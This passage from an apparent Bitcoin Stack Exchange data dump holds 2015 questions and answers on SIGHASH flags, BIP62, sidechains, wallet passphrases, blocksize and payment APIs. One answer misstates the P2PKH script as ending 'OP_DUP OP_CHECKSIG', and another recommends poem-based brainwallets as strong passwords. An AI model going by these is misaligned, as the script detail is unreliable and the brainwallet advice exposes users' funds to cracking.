LastEditDate="2016-02-21T15:49:00.640" LastActivityDate="2016-02-21T15:49:00.640" Title="Why can't bitcoin miners modify transaction outputs?" Tags="|transactions|blockchain|security|signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41166" PostTypeId="2" ParentId="41165" CreationDate="2015-11-02T01:47:18.420" Score="9" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What is signed in the input scripts?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Depends. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The case of a P2PKH spending transaction, the &lt;code&gt;scriptSig&lt;/code&gt; (input script) for each input will contain a ECDSA signature and a byte which donates what exactly was signed called the &lt;code&gt;SIGHASH&lt;/code&gt; flag. In almost all cases this is &lt;code&gt;SIGHASH_ALL&lt;/code&gt;, which means that the signature covers the entirety of the transaction outputs and inputs, less other signatures. If the transaction output script is modified and any input has signed it with &lt;code&gt;SIGHASH_ALL&lt;/code&gt;, that signature would be invalidated and the transaction can not be included in a block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other flags can have the effect you describe, if I make a transaction which only signs a single input with &lt;code&gt;SIGHASH_NONE&lt;/code&gt; (this signature only covers the input), then anybody in the network is free to modify the outputs as much as they want before it gets buried in a block. Nobody uses it like that for exactly this reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's two other flags available today &lt;code&gt;SIGHASH_SINGLE&lt;/code&gt; and &lt;code&gt;SIGHASH_ANYONECANPAY&lt;/code&gt;. The former allows you to sign only one of the outputs and ignores the rest (eg vin:1 signs only vout:1), however this is buggy and not at all intuitive. The latter allows you to make transactions where the inputs are a wildcard, spend this output to this script, and make up the deficit using whatever other inputs you want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general nobody uses &lt;code&gt;SIGHASH&lt;/code&gt; flags, the majority of all transactions are strictly &lt;code&gt;SIGHASH_ALL&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I am not very sure what the script of the inputs contain, but I guess it should contain the public key, and a signed message.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This depends entirely on what type of output is being spent, but we'll assume it's a very typical Pay to Pubkey Hash (address) transaction. In this case the &lt;code&gt;scriptSig&lt;/code&gt; is extremely simple. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;304402204bc6ed9b0122fc145031d4d9f6a30fbb28b63d152e3848c785a65f1e0b97ea8d02205a99bc13ba9293526ed175947cb756c5e3fca0a98890b88551e3e6c4c0bb6f5601&#xA;04988b34239b2f1c2441db4d50911b0550350414ce00b88f8dd39964f1a8631824db8e78b61d0ea6f3d9fcffcf2cd20be7d88a1583854682db4d136acd08542c3d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We have two data items, the first is an ECDSA signature in &lt;a href=&quot;https://en.wikipedia.org/wiki/X.690#DER_encoding&quot; rel=&quot;noreferrer&quot;&gt;DER&lt;/a&gt; format, and the public points of the P2PKH output we are spending. The last byte of the signature is the &lt;code&gt;SIGHASH&lt;/code&gt; flag, which in this case is &lt;code&gt;0x01&lt;/code&gt; or &lt;code&gt;SIGHASH_ALL&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to follow along with how these structures work, webbtc.com has a great script visualization tool which will allow you to see how these go together. In particular here is a reasonable &lt;a href=&quot;http://webbtc.com/tx/a5353b4a844d05d74a3e5987eddb290d9de8a5fb50850f19abbb8d81a03495fd&quot; rel=&quot;noreferrer&quot;&gt;example transaction&lt;/a&gt; with one input and output, and here is a &lt;a href=&quot;http://webbtc.com/script/a5353b4a844d05d74a3e5987eddb290d9de8a5fb50850f19abbb8d81a03495fd:0&quot; rel=&quot;noreferrer&quot;&gt;play through the script execution&lt;/a&gt; which does a good job of explaining how and why it is valid. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-11-02T02:15:43.643" LastActivityDate="2015-11-02T02:15:43.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41167" PostTypeId="2" ParentId="41161" CreationDate="2015-11-02T02:10:26.500" Score="1" Body="&lt;p&gt;&lt;code&gt;checkblocks&lt;/code&gt; and &lt;code&gt;checklevel&lt;/code&gt; are simply for local sanity. It's just making sure when your node is coming up that things aren't completely crazy, it won't catch malicious alteration or set any flags anywhere. If the checks fail the node won't start up at all and will show nasty error messages. Turning them down in all probability won't have any impact on you, the only downside is that if your node state is left inconsistent the sanity check might not catch it. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-11-02T02:10:26.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41168" PostTypeId="1" AcceptedAnswerId="41169" CreationDate="2015-11-02T02:20:38.577" Score="4" ViewCount="172" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0062.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP62&lt;/a&gt; introduces a number of rules to prevent transaction malleability. However many transactions already in the blockchain fail these tests. Is BIP62 currently being used to filter transactions from entering the blockchain? If not then are there any plans by the core development team to use BIP62 like this?&lt;/p&gt;&#xA;" OwnerUserId="2116" LastActivityDate="2015-11-02T03:03:41.520" Title="Should I validate transactions using the rules in BIP62?" Tags="|bip62|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41169" PostTypeId="2" ParentId="41168" CreationDate="2015-11-02T03:03:41.520" Score="8" Body="&lt;p&gt;Yes, you should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BIP62 is currently not being pursued as a consensus rule on the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, all its rules (including the ones that are only applied to new style transactions according to BIP62, specifically the lower-S rule) - are currently being enforced as a standardness rule since Bitcoin Core 0.11.1 and 0.10.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this is that at the time BIP62 was written, requiring lower-S was not feasible due to the large amount of wallets that were still creating high-S signatures. In recent times, a large fraction of them switched to lower-S, making it viable to just unconditionally apply that rule. If a significant amount of network nodes (and specifically, miners) upgrade to versions that enforce this, wallets that do not enforce lower-S will gradually stop working and need upgrading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that process completes and we end up in a state where near-0% of blocks still contain high-S signatures, people may want to propose unconditionally applying it as a consensus rule.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-11-02T03:03:41.520" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="41170" PostTypeId="2" ParentId="37876" CreationDate="2015-11-02T04:34:56.070" Score="3" Body="&lt;p&gt;Federated peg is described in Appendix A of the sidechain whitepaper, &lt;a href=&quot;https://blockstream.com/sidechains.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockstream.com/sidechains.pdf&lt;/a&gt; . I don't completely understand the details but here is an overview. In order to implement sidechains in the ideal fashion, the Bitcoin protocol must be modified. It is difficult to gain consensus for such a modification. However, in the meantime, &quot;federated peg&quot; is proposed as a temporary measure for implementing sidechains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea of sidechains is to set up a system that allows you to effectively transfer Bitcoins from the main chain onto the sidechain, and then later transfer those Bitcoins back from the sidechain onto the main chain. While the Bitcoins are 'effectively' in the sidechain, from the perspective of the main chain they are just sitting in some address ('locked'). I like to imagine that the 'locked' Bitcoins on the main chain are 'sleeping' deep in a trance, projecting their 'astral body' into the 'astral plane' of the sidechain. When they finish their business on the sidechain they can then later 'return to their body' and 'wake up' on the main chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With federated peg, in order to transfer the Bitcoins from the main chain to the sidechain, you transfer it to an address on the main chain and give control of that address to a small set of trusted parties using a multisignature transaction (eg perhaps you choose 5 trusted parties and then use a 3 of 5 multisig; then in order to move the coins back to the main chain, 3 out of 5 of them will have to agree). These trusted third parties are called 'functionaries' in the paper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, on the sidechain, the trusted third parties inform the sidechain that you have just transferred in those Bitcoins. The 'astral bodies' of your Bitcoins can then be transferred to others on the sidechain. Perhaps at some time in the future, a future owner of some or all of these 'astral bodies' wants to move them back to the main chain. This person informs the trusted third parties (the functionaries) of the main chain address that e wishes to send the coins to, and attaches a proof-of-ownership showing that they are the current owner of the 'astral bodies' on the sidechain. The functionaries inspect the proof-of-ownership and if it is valid, they then delete (or otherwise remove from circulation) the astral bodies from the sidechain, and use their multisignature authority on the 'locked' coins on the main chain to unlock them and send them to the requested address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method is called 'federated peg', presumably because it is a type of 'peg' (connection between coins on the main chain and coins on the sidechain) enforced by a 'federation' of trusted third parties (functionaries). This method requires trust in the trusted third parties (functionaries) because if 3 of 5 of them collude (or however many of them there are), or get their keys stolen, then the 'locked' Bitcoins can be stolen on the main chain. However, the goal is for this to just be a temporary measure, until such time as consensus is gained to modify the Bitcoin protocol to implement sidechains using a different method, called 'SPV peg'. After that, you would be able to stop using 'federated peg' and use 'SPV peg' instead; unlike federated peg, SPV peg allows you to transfer Bitcoins between chains without trusting anyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'Federated peg' does not modify the Bitcoin protocol or require the cooperation (or even knowledge) of anyone outside of the users of the sidechain, so it has no impact on the security of the main chain.&lt;/p&gt;&#xA;" OwnerUserId="30224" LastEditorUserId="48543" LastEditDate="2017-04-21T07:03:50.530" LastActivityDate="2017-04-21T07:03:50.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41171" PostTypeId="1" CreationDate="2015-11-02T06:26:59.503" Score="2" ViewCount="1114" Body="&lt;p&gt;Suppose your wallet.dat file is copied to the wild.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working on methods for creating very strong (512bits, hopefully much more) passphrases that would make it unfeasible to either use rainbow tables or to try brute force it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, even if: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i) one's passphrase is simple; &lt;strong&gt;and&lt;/strong&gt;&lt;br&gt;&#xA;ii) the wallet.dat file is copied...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...an adversary would have to employ giant computing power to try to unlock it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I couldn't get it from the documentation, I wonder if anyone knows how large (in, say, bytes) a passphrase/password can be.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;related question: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1713/how-does-the-bitcoin-client-encrypt-the-wallet-dat-file&quot;&gt;How does the Bitcoin client encrypt the wallet.dat file?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="890" LastActivityDate="2015-11-02T10:26:45.830" Title="What is the largest password/passphrase size for a wallet.dat file?" Tags="|encryption|passphrase|wallet-security|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41172" PostTypeId="5" CreationDate="2015-11-02T06:38:13.397" Score="0" Body="&lt;p&gt;BIP62 is a proposed modification to Bitcoin that would eliminate non payment-sender sources of transaction malleability. It is currently deployed as a standardness rule, but &lt;em&gt;not&lt;/em&gt; a consensus rule. (This means that miners can choose to ignore BIP62 if they wish.)&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-11-02T06:38:13.397" LastActivityDate="2015-11-02T06:38:13.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41173" PostTypeId="4" CreationDate="2015-11-02T06:38:13.397" Score="0" Body="BIP62 is a suggested modification to the Bitcoin protocol that would reduce transaction malleability. It has been withdrawn." OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-11-19T17:45:24.697" LastActivityDate="2015-11-19T17:45:24.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41174" PostTypeId="2" ParentId="41160" CreationDate="2015-11-02T08:50:52.700" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can my enemy find it and sign it to deny me contracts? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can your enemy find &lt;em&gt;what&lt;/em&gt; and sign it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either the two transactions are the same or they're different. If they're different, it makes no difference what your enemy does, it's not your transaction. If they're the same, then your transaction must be signed by the enemy too, so why blame your enemy for something you also did?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until the transaction is properly and perfectly signed, there is no valid transaction, and so absolutely nothing can happen.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And in case of 20 signers? And in case someone doesn't sign, when does transaction fails? Can he not-sign it in a way to fail the transaction before set expiration time?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Until all 20 people sign it, there is no valid transaction, period. Any attempt at submitting anything would fail every time someone attempted it. If he doesn't sign it, whatever transaction you have will fail. You can fail it as many times as you want, nothing will happen. Failure is a non-event -- nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until there is a valid transaction, all that will happen are failures. As soon as there is a valid transaction, it will succeed.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-11-02T08:50:52.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41175" PostTypeId="2" ParentId="41144" CreationDate="2015-11-02T08:52:44.320" Score="0" Body="&lt;p&gt;You have no hardware that is suitable for mining, so your mining rate is going to be atrocious. You'll never make enough to compensate for the extra wear and tear on your expensive, general purpose hardware.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-11-02T08:52:44.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41176" PostTypeId="2" ParentId="8318" CreationDate="2015-11-02T10:21:46.157" Score="0" Body="&lt;p&gt;If you do not have a bank account and you want to get bitcoins fast then your best bet is to scour localbitcoins for either in person cash deals or cash deposit into a bank. Here is a tutorial I found on how to do cash deposit on localbitcoins &lt;a href=&quot;http://themerkle.com/tutorials/how-to-get-bitcoins-in-under-an-hour/&quot; rel=&quot;nofollow&quot;&gt;http://themerkle.com/tutorials/how-to-get-bitcoins-in-under-an-hour/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just make sure to always use escrow and do not do deals on offline wallets not on localbitcoins.&lt;/p&gt;&#xA;" OwnerUserId="15645" LastActivityDate="2015-11-02T10:21:46.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41177" PostTypeId="2" ParentId="41171" CreationDate="2015-11-02T10:26:45.830" Score="2" Body="&lt;p&gt;So just like Nick said, If the encryption is done using 256 bits then creating a passphrase which is 512 bits long would be the same as creating a passphrase which is 256 bits long (as long as its random).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should look into brainwallets as they provide a way to create strong passwords which are also easily memorable since all you have to memorize is a 3 line poem.&lt;/p&gt;&#xA;" OwnerUserId="15645" LastActivityDate="2015-11-02T10:26:45.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41178" PostTypeId="1" CreationDate="2015-11-02T11:05:20.907" Score="1" ViewCount="558" Body="&lt;p&gt;I am simulating a private bitcoin network that I started with the &lt;code&gt;initial difficulty set to (1/2)^16&lt;/code&gt;, however after about 20 blocks of mining on the network it increased to &lt;code&gt;1&lt;/code&gt; and has been constant since then. As far as I understand from the source code, it is supposed to increase after every 2016 blocks, so how did it increase after only 20 blocks.&lt;a href=&quot;https://i.stack.imgur.com/c8LAP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/c8LAP.png&quot; alt=&quot;Notice the difficulty=1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change of &lt;code&gt;powLimit&lt;/code&gt; in my bitcoind instances.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;strNetworkID = &quot;regtest&quot;;&#xA;        consensus.nSubsidyHalvingInterval = 210000;&#xA;        consensus.nMajorityEnforceBlockUpgrade = 51;&#xA;        consensus.nMajorityRejectBlockOutdated = 75;&#xA;        consensus.nMajorityWindow = 100;&#xA;        consensus.powLimit = uint256S(&quot;0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff&quot;);&#xA;        consensus.nPowTargetTimespan = 14 * 24 * 60 * 60; // two weeks&#xA;        consensus.nPowTargetSpacing = 10 * 60;&#xA;        consensus.fPowAllowMinDifficultyBlocks = true;&#xA;        consensus.fPowNoRetargeting = false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29691" LastActivityDate="2015-11-03T04:01:17.850" Title="Abrupt increase in difficulty of proof-of-work" Tags="|bitcoind|difficulty|proof-of-work|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41179" PostTypeId="1" AcceptedAnswerId="41180" CreationDate="2015-11-02T11:16:23.570" Score="2" ViewCount="252" Body="&lt;p&gt;In the current blocksize limit debate multiple proposals have been made. Bitcoin XT implements an increase to 8MB right away plus a doubling every two years. A competing approach used 20MB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What specifically would make it a bad idea to go with a very high limit such as 1GB as opposed to increasing to a smaller limit such as 8MB?&lt;/p&gt;&#xA;" OwnerUserId="30276" LastActivityDate="2015-11-02T19:13:56.900" Title="Why can't Bitcoin use a very large blocksize such as 1GB?" Tags="|blocksize|block-size-increase|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41180" PostTypeId="2" ParentId="41179" CreationDate="2015-11-02T11:29:32.823" Score="5" Body="&lt;p&gt;If you made the block size that large, the rate of network divergence would increase drastically as more and more miners would find blocks while still transferring a block that someone else found. (You have to consider the network latency of propagating 1GB to peers every 10 minutes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other problems. Large blocks make it harder to do full verification of transactions, meaning that it would be done less. That would mean more and more miners who trust others to verify transactions on their behalf. This could threaten Bitcoin's decentralization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are lots of other problems, these are just the most severe and obvious.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="2306" LastEditDate="2015-11-02T19:13:56.900" LastActivityDate="2015-11-02T19:13:56.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41182" PostTypeId="1" AcceptedAnswerId="41183" CreationDate="2015-11-02T13:06:17.140" Score="2" ViewCount="499" Body="&lt;p&gt;I am building a simple application that allows user to create and broadcast spend transaction by providing a private key to get funds from and a BTC address to send those funds to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The application first calculates the BTC address of that private key and then performs a request to a electrum server:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;id&quot;: 0, &quot;method&quot;:&quot;blockchain.address.listunspent&quot;,&quot;params&quot;:[&quot;1addresshere1fk29ka3&quot;]}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is, this only returns a list of &lt;code&gt;[transaction hash, output position, value in satoshis, position in blockchain]&lt;/code&gt; for every output. But it doesn't contain the script of that output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it safe to assume that every output script is going to be the standard pay-to-hash  '76a914' + addr_hash + '88ac' ??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or do I have to perform another request asking for the raw of all the provided transaction hashes and check that the specific outputs are actually a standard pay-to-hash?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will &lt;strong&gt;blockchain.address.listunspent&lt;/strong&gt; only provide outputs with pay-to-hash scripts? Will it provide outputs with other kind of scripts such us multisig? Even if its a 1 of 2 keys and you have 1 of them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And another question, &lt;strong&gt;blockchain.address.getbalance&lt;/strong&gt;, does this also only give the total balance of pay-to-hash scripts? Or does it also add the multisig scripts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And a final question, will &lt;strong&gt;blockchain.address.listunspent&lt;/strong&gt; return the ouputs that were spent in an already broadcasted transaction that is not yet added in the blockchain?&lt;/p&gt;&#xA;" OwnerUserId="27866" LastActivityDate="2015-11-02T13:21:39.707" Title="What does blockchain.address.listunspent exactly return?" Tags="|electrum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41183" PostTypeId="2" ParentId="41182" CreationDate="2015-11-02T13:21:39.707" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it safe to assume that every output script is going to be the standard pay-to-hash '76a914' + addr_hash + '88ac' ??&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Usually. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your example the full &lt;code&gt;scriptPubKey&lt;/code&gt; looks like  &lt;code&gt;OP_DUP OP_HASH160 PUSH_20 0x9C1185A5C5E9FC54612808977EE8F548B2258D31 OP_DUP OP_CHECKSIG&lt;/code&gt;, but this can also be encoded non-canonically as &lt;code&gt;OP_DUP OP_HASH160 OP_PUSHDATA1 0x14 0x9C1185A5C5E9FC54612808977EE8F548B2258D31 OP_DUP OP_CHECKSIG&lt;/code&gt; using a &lt;code&gt;OP_PUSHDATA1&lt;/code&gt; in place of the direct push opcode. There's no functional difference to this and the script will be longer as a result, but there are outputs like this in the unspent outputs database that fit this pattern. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In total there's 4 valid permutations for each P2PKH script, direct push, &lt;code&gt;OP_PUSHDATA1&lt;/code&gt;, &lt;code&gt;OP_PUSHDATA2&lt;/code&gt; and &lt;code&gt;OP_PUSHDATA4&lt;/code&gt;. Different software either sees these as valid, or simply ignores, it's undefined exactly what people should be doing with them. They are spendable and technically the same as the most obvious permutation, but it's not clear on the outset that this behavior is even permissible. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-11-02T13:21:39.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41186" PostTypeId="1" AcceptedAnswerId="41187" CreationDate="2015-11-02T14:40:27.367" Score="3" ViewCount="1665" Body="&lt;p&gt;I'm trying to accept bitcoin payments on my website using blockchain.info's API. However, I'm confused with their callback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read through their callback, but how would I know if the transaction was successful or not ?&lt;/p&gt;&#xA;" OwnerUserId="30281" LastEditorUserId="24925" LastEditDate="2015-11-02T15:00:42.497" LastActivityDate="2015-11-10T02:45:25.717" Title="Callbacks using blockchain.info's API" Tags="|api|blockchain.info|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41187" PostTypeId="2" ParentId="41186" CreationDate="2015-11-02T14:52:13.063" Score="2" Body="&lt;p&gt;The callback lets you know the payment has been recieved. The confirmations are also included in the callback&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When a payment is received blockchain.info will notify the callback&#xA;  URL passed using the create method. The parameters will be supplied in&#xA;  a http GET request. The callback url is limited to 255 characters in&#xA;  length.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Parameters&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;strong&gt;value&lt;/strong&gt; The value of the payment received in satoshi. Divide by    100000000 to get the value in BTC. &lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;input_address&lt;/strong&gt; The bitcoin address that received the transaction.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;confirmations&lt;/strong&gt; The number of confirmations of this transaction.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;{Custom Parameters}&lt;/strong&gt; Any parameters included in the callback URL will be passed back to the callback URL in the notification.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;transaction_hash&lt;/strong&gt; The transaction hash.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;input_transaction_hash&lt;/strong&gt; The original paying in hash before forwarding.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;destination_address&lt;/strong&gt; The destination bitcoin address. Check this matches your address.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;A double spend occurs when a malicious user spends the same BTC twice.&#xA;  A payment that initial appears successful could be reversed at a later&#xA;  date. This is counteracted by waiting for the transaction to be&#xA;  included in the blockchain and reaching a number of confirmations. 6&#xA;  confirmations is generally considered safe for high value&#xA;  transactions.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Validate the transaction confirmations in the callback script by&#xA;  checking $_GET['confirmations'] parameter. It is recommended you&#xA;  acknowledge the transaction at zero confirmations but only trust the&#xA;  transaction after one confirmation. For example, if purchasing a&#xA;  product, we would show the order as successful at zero confirmations,&#xA;  but only ship the product when 6 or more confirmations are reached.&#xA;  See the PHP demo callback.php for an example. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;sourced from: &lt;a href=&quot;https://blockchain.info/api/api_receive&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/api_receive&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29646" LastActivityDate="2015-11-02T14:52:13.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41188" PostTypeId="2" ParentId="41186" CreationDate="2015-11-02T16:30:53.947" Score="1" Body="&lt;p&gt;Alright, after some thinking, I finally understood how will I use the callback. Blockchain's API will only send a callback &lt;strong&gt;if&lt;/strong&gt; &lt;code&gt;there has been a transaction&lt;/code&gt;. What you need to track here is, that the amount the user sends should be equal to what you've requested. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's take a scenario:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I sell an online product worth $5 and use blockchain’s payment receiving API to receive the money.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The user sends an amount less than $5 (suppose $0.05), we then get a callback and assume that the transaction was successful. However, the user paid less amount that he requested. Therefore, we need to keep track of the amount and verify it with the original amount. If both the amount matches, then only you should proceed further.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="30281" LastEditorUserId="6218" LastEditDate="2015-11-10T02:45:25.717" LastActivityDate="2015-11-10T02:45:25.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41189" PostTypeId="1" CreationDate="2015-11-02T17:40:29.683" Score="2" ViewCount="283" Body="&lt;p&gt;Its been months since Ive used my electrum wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try and send coin I get an invalid password message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when I go to my seed, I type in that same password and it takes me to the seed generator and says my seed is 0 length.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see there was someone else with this same issue, he was just two characters off. If thats the case, I kind of know my password. What kind of brute force programs could I use to crack my password?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="30283" LastActivityDate="2016-09-29T19:42:14.043" Title="Electrum: seed is 0 length . Lost seed" Tags="|electrum|seed|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41190" PostTypeId="2" ParentId="41155" CreationDate="2015-11-02T19:56:10.450" Score="0" Body="&lt;p&gt;Blocks have to have at least one transaction: They must contain a coinbase which is the transaction that spends the block reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example this &lt;a href=&quot;https://blockchain.info/block-index/512049/00000000000000000429a0c4fbe735b2d8b493daedf0207728543f748c262437&quot; rel=&quot;nofollow&quot;&gt;block with only one transaction&lt;/a&gt;  is only    &lt;code&gt;0.246 kB&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-11-02T19:56:10.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41191" PostTypeId="1" CreationDate="2015-11-02T20:41:12.747" Score="8" ViewCount="644" Body="&lt;p&gt;Hello bitcoin community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running startup and we think how to accept payments. Our customers are far not geeks and they don't know what BTC is. However, I'd prefer to collect BTC on may wallet, not fiat. I've solved all tax issues in my country and I can deliver invoices to my customer where we will use fiat currency they paid in. But I'm looking for some merchant service that automatically turns fiat they pay through Visa/SWIFT or probably even PayPal into BTC using actual exchange rate. Could anyone suggest something?&lt;/p&gt;&#xA;" OwnerUserId="24468" LastActivityDate="2021-01-09T18:33:23.487" Title="I need Fiat -&gt; BTC merchant service" Tags="|buy-bitcoins|sell-bitcoins|btce|merchants|merchant-services|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41192" PostTypeId="1" AcceptedAnswerId="41194" CreationDate="2015-11-02T22:03:30.767" Score="1" ViewCount="140" Body="&lt;p&gt;I am new to crypto currencies and just got into bitcoin, I want to know how to  start off, which equipment would I need? &lt;/p&gt;&#xA;" OwnerUserId="30289" LastEditorUserId="2306" LastEditDate="2015-11-02T22:14:19.767" LastActivityDate="2020-04-04T01:36:16.577" Title="What hardware do I need to get started with Bitcoin?" Tags="|currencies|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
